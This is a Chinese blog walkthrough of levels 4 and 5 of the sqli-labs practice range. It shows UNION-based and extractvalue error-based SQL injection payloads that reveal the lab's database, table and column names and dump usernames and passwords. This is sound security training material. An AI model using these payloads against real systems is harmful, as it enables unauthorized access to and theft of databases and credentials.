前言
sqli靶场第一关:https://filotimo.blog.csdn.net/article/details/134626587?spm=1001.2014.3001.5502
sqli靶场第二关和第三关:
https://filotimo.blog.csdn.net/article/details/134938683?spm=1001.2014.3001.5502
一、sqli靶场第四关
1.1 判断注入类型
输入?id=1',正常回显('是英文单引号)。
输入?id=1'',正常回显(''是两个英文单引号)。
输入?id=1",出现如图所示报错("是英文双引号):
输入?id=1"",正常回显(""是两个英文双引号)。
输入?id=1/1,正常回显。
输入?id=1/0,正常回显。
初步判断为双引号闭合。
1.2 观察报错
报错信息为'"1"") LIMIT 0,1'
进一步判断为")闭合
输入?id=1") --+,正常回显。
1.3 判断数据表中的列数
输入?id=1") order by 3 --+,正常回显。
输入?id=1") order by 4 --+,显示超出。
用二分法与order by确定列数为3
1.4 使用union联合查询
输入?id=0") union select 1,2,3--+,判断回显位,页面如下:
输入?id=0") union select 1,2,database()--+爆出数据库名:
可以看到数据库名为security。
1.5 使用group_concat()函数
构造如下语句输入:
?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆出表名:
可以看到表名为emails,referers,uagents,users。
点到为止,我就不继续打这关了,这里跟第三关思路一样,可以看我前面写的博客。
二、sqli靶场第五关
2.1 判断注入类型
输入?id=1',出现如图所示报错('是英文单引号):
输入?id=1'',正常回显(''是两个英文单引号):
输入?id=1/1,正常回显。
输入?id=1/0,正常回显。
判断为单引号闭合。
在正常回显(You are in...........)中,没有看到显示位,考虑报错注入。
2.2 使用extractvalue函数报错
构造语句:
?id=-1' and extractvalue(1,concat(0x7e,database(),0x7e)) --+
extractvalue 函数用于从 XML 文档中提取指定路径的数据。我们通过将 extractvalue 函数的参数设置为 concat 函数的返回值,这样 extractvalue 函数就会报错,它的报错内容就是我们想要获得的东西。
concat 函数用于将多个字符串拼接成一个字符串,该函数的参数包括多个被拼接的字符串与拼接符号。在这里,我们将拼接符号设置为 0x7e,该字符是波浪号的 ASCII 编码值,用于分隔拼接的字符串。我们在拼接的字符串中指定了三个部分:0x7e、database() 和 0x7e,其中 database() 用于返回当前数据库的名称。
结果如图:
我们能看到数据库名为security。
2.3 爆出数据库中的表名
构造语句:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --+
这条语句跟上一条相似,只是把database()替换成了(select group_concat(table_name) from information_schema.tables where table_schema=database())
结果如图:
我们能看到表名为emails,referers,uagents,users。
2.4 爆出users表中的列名
构造语句:
?id=-1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"),0x7e)) --+
结果如图:
我们能看到users表中的列名为id,username,password。
2.5 爆出users表中的数据
构造语句:
?id=-1' and extractvalue(1,concat(0x7e,(select concat(username,":",password) from users limit 0,1),0x7e)) --+
这里我们使用 concat函数将 username 字段与 :字符和password字段连接起来。而limit 0,1部分用于指定返回结果的起始位置和数量,它表示从第 0 行开始,只返回一行数据,这通常用于限制查询结果的数量。(如果出现 “Subquery returns more than 1 row” 错误,这通常是由于使用子查询时返回行数超过了预期,需要修正查询或使用合适的限制来确保只返回一个结果行。)
结果如图:
可以看到账号是Dumb,密码也是Dumb
我们可以将limit 0,1改为limit 1,1
结果如图:
可以看到账号是Angelina,密码是I-kill-you